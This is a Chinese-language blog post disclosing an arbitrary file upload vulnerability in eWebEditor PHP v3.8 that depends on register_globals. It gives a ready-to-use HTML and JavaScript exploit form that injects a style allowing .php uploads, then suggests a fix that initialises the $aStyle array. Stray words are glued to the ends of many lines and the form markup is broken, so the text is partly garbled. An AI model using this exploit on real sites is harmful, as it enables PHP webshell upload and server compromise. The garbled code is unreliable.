此漏洞僅測試了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor並無使用數據庫來保存配置信息,全部信息位於php/config.php中,代碼以下:php
<?phpweb
$sUsername = "admin";
$sPassword = "admin";數據庫
$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office標準風格,部分經常使用按鈕,標準適合界面寬度|||1|||zh-cn|||0|||500|||300|||0|||版權全部...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";數組
........ide
它將全部的風格配置信息保存爲一個數組$aStyle,在register_global爲on的狀況下咱們能夠任意添加本身喜歡的風格,而後就能夠在本身添加的風格中能夠隨意定義可上傳文件類型。post
這漏洞成因很簡單,下面給個exp測試
<form action="" method=post enctype="multipart/form-data">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000">
URL:<input type=text name=url value="http://192.168.1.110/eWebEditor/" size=100><br>
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1">
file:<input type=file name="uploadfile"><br>
<input type=button value=submit
</form><br>
<script>
function fsubmit(){
form = document.forms[0];
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en';
alert(form.action);
form.submit();
}
</script>url
漏洞修補方法:orm
初始化數組$aStyleip
<?php
$sUsername = "admin";
$sPassword = "admin";
$aStyle = array();
$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|zip|exe|doc|xls|chm|hlp|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office標準風格,部分經常使用按鈕,標準適合界面寬度|||1|||zh-cn|||0|||500|||300|||0|||版權全部...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1";
文章如轉載,請註明轉載自【網管小王的獨立博客】:http://www.5iadmin.com/